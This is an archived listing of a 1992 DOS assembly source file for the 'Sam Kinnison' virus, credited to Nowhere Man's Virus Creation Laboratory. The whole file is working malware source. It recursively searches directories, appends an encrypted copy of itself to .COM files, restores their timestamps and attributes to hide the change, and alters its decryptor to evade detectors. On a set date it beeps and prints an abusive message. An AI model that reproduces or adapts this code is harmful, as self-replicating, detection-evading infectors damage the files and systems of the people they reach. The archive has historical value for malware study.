home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / KINNISON.ASM < prev    next >
Assembly Source File  |  1992-04-20  |  11KB  |  397 lines

  1. ; KINNISON.ASM -- Sam Kinnison virus  
  2. ; Created by Nowhere Man's Virus Creation Labratory v0.75
  3. ; Written by Nowhere Man
  4.  
  5. virus_type    equ    0
  6.  
  7. code        segment    'CODE'
  8.         assume    cs:code,ds:code,es:code,ss:code
  9.         org    0100h
  10.  
  11. main        proc    near
  12. flag:        mov    ah,0
  13.         nop
  14.         nop
  15.  
  16.         jmp    start            ; Would be at start of victim
  17.         nop
  18.         nop
  19. start:        call    find_offset        ; Push IP on to stack, advance IP
  20. find_offset:    pop    di            ; DI holds old IP
  21.         sub    di,3            ; Adjust for length of CALL
  22.  
  23.         lea    si,[di + start_of_code - start]  ; SI points to code
  24.         call    encrypt_decrypt        ; Decrypt the code
  25.  
  26. start_of_code    label    near
  27.  
  28.         push    di            ; Save DI
  29.         mov    si,offset flag        ; SI points to flag bytes
  30.         lea    di,[di + new_jump - start]  ; DI points to start of jump
  31.         movsw                ; Transfer two bytes
  32.         movsw                ; Transfer two bytes
  33.         pop    di            ; Restore DI
  34.         push    di            ; And save it for later
  35.         lea    si,[di + buffer - start]; SI points to old start
  36.         mov    di,0100h        ; DI points to start of code
  37.         movsw                ; Transfer two bytes
  38.         movsw                ; Transfer two bytes
  39.         movsw                ; Transfer two bytes
  40.         movsb                ; Transfer final byte
  41.         pop    di            ; Restore DI
  42.  
  43.         mov    bp,sp            ; BP points to stack
  44.         sub    sp,128            ; Allocate 128 bytes on stack
  45.  
  46.         mov    ah,02Fh            ; DOS get DTA function
  47.         int    021h
  48.         push    bx            ; Save old DTA address on stack
  49.  
  50.         mov    ah,01Ah            ; DOS set DTA function
  51.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  52.         int    021h
  53.  
  54.         call    get_day             
  55.         cmp    ax,000Bh
  56.         jne    end00
  57.         call    get_weekday         
  58.         cmp    ax,0005h
  59.         jne    end00
  60.         mov    cx,0003h
  61.         call    beep
  62. end00:        xor    ah,ah            ; BIOS get time function
  63.         int    01Ah
  64.         test    dx,0001h
  65.         jne    no_infection
  66.         call    search_files
  67. no_infection:
  68.         call    get_day             
  69.         cmp    ax,000Bh
  70.         jne    end01
  71.         call    get_weekday         
  72.         cmp    ax,0005h
  73.         jne    end01
  74.         lea    si,[di + data00 - start]    ; SI points to data
  75.         call    display_string
  76. end01:        pop    dx            ; DX holds original DTA address
  77.         mov    ah,01Ah            ; DOS set DTA function
  78.         int    021h
  79.  
  80.         mov    sp,bp            ; Deallocate local buffer
  81.  
  82.         mov    di,0100h        ; Push 0100h on to stack for
  83.         push    di            ; return to main program
  84.  
  85.         xor    ax,ax            ;
  86.         mov    bx,ax            ;
  87.         mov    cx,ax            ;
  88.         mov    dx,ax            ;  Empty out the registers
  89.         mov    si,ax            ;
  90.         mov    di,ax            ;
  91.         mov    bp,ax            ;
  92.  
  93.         ret                ; Return to original program
  94. main        endp
  95.  
  96. search_files    proc    near
  97.         push    bp            ; Save BP
  98.         mov    bp,sp            ; BP points to local buffer
  99.         sub    sp,64            ; Allocate 64 bytes on stack
  100.  
  101.         mov    ah,047h            ; DOS get current dir function
  102.         xor    dl,dl            ; DL holds drive # (current)
  103.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  104.         int    021h
  105.  
  106.         mov    ah,03Bh            ; DOS change directory function
  107.         lea    dx,[di + root - start]    ; DX points to root directory
  108.         int    021h
  109.  
  110.         call    traverse        ; Start the traversal
  111.  
  112.         mov    ah,03Bh            ; DOS change directory function
  113.         lea    dx,[bp - 64]        ; DX points to old directory
  114.         int    021h
  115.  
  116.         mov    sp,bp            ; Restore old stack pointer
  117.         pop    bp            ; Restore BP
  118.         ret                ; Return to caller
  119.  
  120. root        db    "\",0            ; Root directory
  121. search_files    endp
  122.  
  123. traverse    proc    near
  124.         push    bp            ; Save BP
  125.  
  126.         mov    ah,02Fh            ; DOS get DTA function
  127.         int    021h
  128.         push    bx            ; Save old DTA address
  129.  
  130.         mov    bp,sp            ; BP points to local buffer
  131.         sub    sp,128            ; Allocate 128 bytes on stack
  132.  
  133.         mov    ah,01Ah            ; DOS set DTA function
  134.         lea    dx,[bp - 128]        ; DX points to buffer
  135.         int    021h
  136.  
  137.         mov    ah,04Eh            ; DOS find first function
  138.         mov    cx,00010000b        ; CX holds search attributes
  139.         mov    dx,offset all_files    ; DX points to "*.*"
  140.         int    021h
  141.         jc    leave_traverse        ; Leave if no files present
  142.  
  143. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  144.         jne    another_dir        ; If not, try again
  145.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  146.         je    another_dir        ;If so, keep going
  147.  
  148.         mov    ah,03Bh            ; DOS change directory function
  149.         lea    dx,[bp - 98]        ; DX points to new directory
  150.         int    021h
  151.  
  152.         call    traverse        ; Recursively call ourself
  153.  
  154.         mov    ah,03Bh            ; DOS change directory function
  155.         lea    dx,[di + up_dir - start]; DX points to parent directory
  156.         int    021h
  157.  
  158. another_dir:    mov    ah,04Fh            ; DOS find next function
  159.         int    021h
  160.         jnc    check_dir        ; If found check the file
  161.  
  162. leave_traverse:
  163.         lea    dx,[di + com_mask - start]  ; DX points to "*.COM"
  164.         call    find_files        ; Try to infect a file
  165. done_searching:    mov    sp,bp            ; Restore old stack frame
  166.         mov    ah,01Ah            ; DOS set DTA function
  167.         pop    dx            ; Retrieve old DTA address
  168.         int    021h
  169.  
  170.         pop    bp            ; Restore BP
  171.         ret                ; Return to caller
  172.  
  173. up_dir        db    "..",0            ; Parent directory name
  174. all_files    db    "*.*",0            ; Directories to search for
  175. com_mask    db    "*.COM",0        ; Mask for all .COM files
  176. traverse    endp
  177.  
  178. find_files    proc    near
  179.         push    bp            ; Save BP
  180.  
  181.         mov    ah,02Fh            ; DOS get DTA function
  182.         int    021h
  183.         push    bx            ; Save old DTA address
  184.  
  185.         mov    bp,sp            ; BP points to local buffer
  186.         sub    sp,128            ; Allocate 128 bytes on stack
  187.  
  188.         push    dx            ; Save file mask
  189.         mov    ah,01Ah            ; DOS set DTA function
  190.         lea    dx,[bp - 128]        ; DX points to buffer
  191.         int    021h
  192.  
  193.         mov    ah,04Eh            ; DOS find first file function
  194.         mov    cx,00100111b        ; CX holds all file attributes
  195.         pop    dx            ; Restore file mask
  196. find_a_file:    int    021h
  197.         jc    done_finding        ; Exit if no files found
  198.         call    infect_file        ; Infect the file!
  199.         jnc    done_finding        ; Exit if no error
  200.         mov    ah,04Fh            ; DOS find next file function
  201.         jmp    short find_a_file    ; Try finding another file
  202.  
  203. done_finding:    mov    sp,bp            ; Restore old stack frame
  204.         mov    ah,01Ah            ; DOS set DTA function
  205.         pop    dx            ; Retrieve old DTA address
  206.         int    021h
  207.  
  208.         pop    bp            ; Restore BP
  209.         ret                ; Return to caller
  210. find_files    endp
  211.  
  212. infect_file    proc    near
  213.         mov    ah,02Fh            ; DOS get DTA address function
  214.         int    021h
  215.         mov    si,bx            ; SI points to the DTA
  216.  
  217.         mov    ax,04301h        ; DOS set file attributes function
  218.         xor    cx,cx            ; Clear all attributes
  219.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  220.         int    021h
  221.  
  222.         mov    ax,03D02h        ; DOS open file function, r/w
  223.         int    021h
  224.         xchg    bx,ax            ; BX holds file handle
  225.  
  226.         mov    ah,03Fh            ; DOS read from file function
  227.         mov    cx,7            ; CX holds bytes to read (7)
  228.         lea    dx,[di + buffer - start]; DX points to buffer
  229.         int    021h
  230.  
  231.         push    si            ; Save DTA address before compare
  232.         mov    byte ptr [di + set_carry - start],0  ; Assume we'll fail
  233.         lea    si,[di + buffer - start]; SI points to comparison buffer
  234.         push    di            ; Save virus offset
  235.         lea    di,[di + new_jump - start]  ; DI points to virus flag
  236.         mov    cx,4            ; CX holds number of bytes (4)
  237.     rep    cmpsb                ; Compare the first four bytes
  238.         pop    di            ; Restore DI
  239.         je    close_it_up        ; If equal then close up
  240.         mov    byte ptr [di + set_carry - start],1  ; Success -- the file is OK
  241.  
  242.         cwd                ; Zero CX _ Zero bytes from start
  243.         mov    cx,dx            ; Zero DX /
  244.         mov    ax,04200h        ; DOS file seek function, start
  245.         int    021h
  246.  
  247.         mov    ax,04202h        ; DOS file seek function, EOF
  248.         cwd                ; Zero DX _ Zero bytes from end
  249.         mov    cx,dx            ; Zero CX /
  250.         int    021h
  251.  
  252.         sub    ax,7            ; Prepare for JMP
  253.         mov    word ptr [di + new_jump + 5 - start],ax  ; Construct JMP for later
  254.  
  255.         call    encrypt_code        ; Make an encrypted copy of ourself
  256.  
  257.         mov    ah,040h            ; DOS write to file function
  258.         mov    cx,finish - start    ; CX holds virus length
  259.         lea    dx,[di + finish - start]    ; DX points to encrypted copy
  260.         int    021h
  261.  
  262.         cwd                ; Zero DX _ Zero bytes from start
  263.         mov    cx,dx            ; Zero CX /
  264.         mov    ax,04200h        ; DOS file seek function, start
  265.         int    021h
  266.  
  267.         mov    ah,040h            ; DOS write to file function
  268.         mov    cx,7            ; CX holds bytes to write (7)
  269.         lea    dx,[di + new_jump - start]  ; DX points to the jump we made
  270.         int    021h
  271.  
  272. close_it_up:    pop    si            ; Restore DTA address
  273.  
  274.         mov    ax,05701h        ; DOS set file time function
  275.         mov    cx,[si + 016h]        ; CX holds old file time
  276.         mov    dx,[si + 018h]        ; DX holds old file date
  277.         int    021h
  278.  
  279.         mov    ah,03Eh            ; DOS close file function
  280.         int    021h
  281.  
  282.         mov    ax,04301h        ; DOS set file attributes function
  283.         xor    ch,ch            ; Clear CH for file attribute
  284.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  285.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  286.         int    021h
  287.  
  288. infection_done:    cmp    byte ptr [di + set_carry - start],1  ; Set carry flag if failed
  289.         ret                ; Return to caller
  290.  
  291. set_carry    db    ?            ; Set-carry-on-exit flag
  292. buffer        db    5 dup (090h),0CDh,020h    ; Buffer to hold test data
  293. new_jump    db    4 dup (?),0E9h,?,?    ; New jump to virus
  294. infect_file    endp
  295.  
  296.  
  297. beep        proc    near
  298.         jcxz    beep_end        ; Exit if there are no beeps
  299.  
  300.         mov    ax,0E07h        ; BIOS display char., BEL
  301. beep_loop:    int    010h            ; Beep
  302.         loop    beep_loop        ; Beep until --CX = 0
  303.  
  304. beep_end:    ret                ; Return to caller
  305. beep        endp
  306.  
  307. display_string    proc    near
  308.         mov    ah,0Eh            ; BIOS display char. function
  309. display_loop:   lodsb                ; Load the next char. into AL
  310.         or    al,al            ; Is the character a null?
  311.         je    disp_strnend        ; If it is, exit
  312.         int    010h            ; BIOS video interrupt
  313.         jmp    short display_loop    ; Do the next character
  314. disp_strnend:   ret                ; Return to caller
  315. display_string    endp
  316.  
  317. get_day        proc    near
  318.         mov    ah,02Ah            ; DOS get date function
  319.         int    021h
  320.         mov    al,dl            ; Copy day into AL
  321.         cbw                ; Sign-extend AL into AX
  322.         ret                ; Return to caller
  323. get_day        endp
  324.  
  325. get_weekday    proc    near
  326.         mov    ah,02Ah            ; DOS get date function
  327.         int    021h
  328.         cbw                ; Sign-extend AL into AX
  329.         ret                ; Return to caller
  330. get_weekday    endp
  331.  
  332. data00        db      "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0
  333.  
  334. vcl_marker    db    "[VCL]",0            ; VCL creation marker
  335.  
  336.  
  337. note        db    "Dedicated to the memory of"
  338.         db    "   Sam Kinnison 1954-1992",0
  339.         db    "[Kinnison]",0
  340.         db    "Nowhere Man, [NuKE] '92",0
  341. encrypt_code    proc    near
  342.         push    bx            ; Save BX
  343.  
  344.         push    di            ; Save DI
  345.         lea    si,[di + encrypt_decrypt - start]  ; SI points to encryption code
  346.  
  347.         xor    ah,ah            ; BIOS get time function
  348.         int    01Ah
  349.         or    dx,1            ; Insure we never get zero
  350.         mov    word ptr [si + 5],dx    ; Low word of timer is new key
  351.  
  352. alter_flag:    mov    al,0            ; AL holds alteration flag
  353.         inc    byte ptr [di + (alter_flag + 1) - start]  ; Toggle alteration flag
  354.  
  355.         test    al,1            ; Is bit one set?
  356.         jne    check_nop        ; If not then don't toggle
  357.  
  358.         xor    byte ptr [si],0110b    ; Change all BPs in startup code
  359.         xor    byte ptr [si + 4],010b    ; to BXs, and vice-versa
  360.         xor    byte ptr [si + 7],0110b    ;
  361.  
  362. check_nop:    test    al,2            ; Is bit two set?
  363.         jne    do_encryption        ; If not then don't toggle
  364.  
  365.         mov    ax,word ptr [si + 7]    ; AX holds INC/NOP
  366.         xchg    ah,al            ; Exchange position of INC and NOP
  367.         mov    word ptr [si + 7],ax    ; Put the word back
  368.  
  369. do_encryption:    mov    si,di            ; SI points to start of code
  370.         lea    di,[di + finish - start]    ; DI points past code
  371.         mov    cx,(finish - start) / 2    ; CX holds words to transfer
  372.     rep    movsw                ; Copy the code past the end
  373.  
  374.         pop    di            ; Restore DI
  375.         lea    si,[di + (finish + (start_of_code - start)) - start]  ; SI points to code to encrypt
  376.         call    encrypt_decrypt        ; Encrypt the code
  377.  
  378.         pop    bx            ; Restore BX
  379.         ret                ; Return to caller
  380. encrypt_code    endp
  381.  
  382. even                        ; Must be on an even boundry
  383.  
  384. end_of_code    label    near
  385.  
  386. encrypt_decrypt    proc    near
  387.         mov    bp,end_of_code - start_of_code - 2  ; BP holds length of code
  388. xor_loop:    db    081h,032h,00h,00h    ; XOR a word with the key
  389.         dec    bp            ; Do the next byte
  390.         nop                ; Used to throw off detectors
  391.         jne    xor_loop        ; Repeat until we're done
  392.         ret                ; Return to caller
  393. encrypt_decrypt    endp
  394. finish        label    near
  395.  
  396. code        ends
  397.         end    main